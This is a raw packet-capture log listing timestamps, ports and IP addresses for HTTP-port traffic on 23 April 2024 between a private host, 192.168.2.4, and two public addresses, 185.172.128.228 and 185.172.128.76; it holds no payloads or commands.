Apr 23, 2024 09:38:10.237209082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.237209082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.237224102 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237241030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237256050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237270117 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.237270117 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.237271070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237287045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237303019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237313986 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.237318993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237334967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237360001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237375975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237385988 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.237386942 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.237391949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237416983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.237504005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.258722067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258774996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258791924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258809090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258825064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258829117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.258842945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258857965 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.258860111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258876085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.258877993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258897066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258898020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.258913040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258917093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.258929968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258944035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.258948088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258964062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.258982897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.258987904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.258991003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259023905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259032011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259063005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259068012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259099960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259113073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259140968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259145021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259177923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259183884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259213924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259221077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259251118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259258032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259291887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259301901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259334087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259341955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259371996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259386063 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259408951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259417057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259444952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259449959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259481907 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259490013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259524107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259529114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259562016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259569883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259598970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259603024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259637117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259644032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259673119 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259681940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259710073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259717941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259747028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259757042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259783983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259790897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259819984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259826899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259855986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259861946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259893894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259900093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259932041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259936094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.259968996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.259977102 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260005951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260013103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260041952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260049105 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260078907 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260092020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260122061 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260153055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260190010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260199070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260230064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260234118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260266066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260276079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260303020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260312080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260344982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260351896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260385036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260396004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260421038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260428905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260457993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260463953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260494947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260500908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260530949 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260541916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260567904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260585070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260608912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260617018 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260644913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260651112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260680914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260689020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260716915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260726929 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260754108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260761976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260790110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260797977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260826111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260835886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260863066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260873079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260909081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260911942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260951996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.260958910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.260991096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261001110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261028051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261035919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261064053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261073112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261101007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261109114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261137009 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261143923 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261173010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261181116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261209965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261224985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261246920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261253119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261284113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261291981 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261321068 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261326075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261351109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261367083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261368036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261384010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261390924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261401892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261414051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261420012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261432886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261436939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261452913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261452913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261462927 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261470079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261486053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261487961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261501074 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261502028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261518955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261528969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261534929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261545897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261554003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261569977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261579037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261584997 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261600971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261605024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261617899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261630058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261635065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261651039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261656046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261667967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261677980 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261682987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261699915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261708021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261715889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261732101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261733055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261748075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261761904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261763096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261780024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261787891 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261795998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261806011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261812925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261828899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261836052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261846066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261862040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261862040 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261878967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261889935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261895895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261912107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261919022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261928082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261936903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261945963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261961937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261965036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.261980057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.261982918 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262000084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262012959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262018919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262034893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262038946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262051105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262063980 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262067080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262084007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262093067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262099981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262115955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262118101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262131929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262147903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262150049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262166977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262177944 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262182951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262198925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262200117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262217999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262226105 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262234926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262253046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262255907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262269020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262281895 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262284994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262309074 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262312889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262331009 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262332916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262347937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262357950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262368917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262372017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262386084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262388945 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262402058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262403011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262420893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262425900 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262435913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262438059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262454987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262456894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262471914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262479067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262489080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262490034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262507915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262511969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262525082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262527943 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262547016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.262548923 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262567043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.262583971 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.441876888 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.441936970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.441975117 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442011118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442034960 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.442045927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442070961 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.442080975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442219973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442256927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442267895 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.442291975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442332029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442367077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442372084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.442372084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.442401886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442466021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442502022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442537069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442569017 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.442574024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442610025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442615032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.442615032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.442646027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442681074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442717075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442751884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442765951 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.442765951 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.442785978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442821026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442856073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442890882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442897081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.442897081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.442928076 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442961931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.442996979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443032026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443065882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443073988 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443073988 CEST	49735	80	192.168.2.4	185.172.128.228
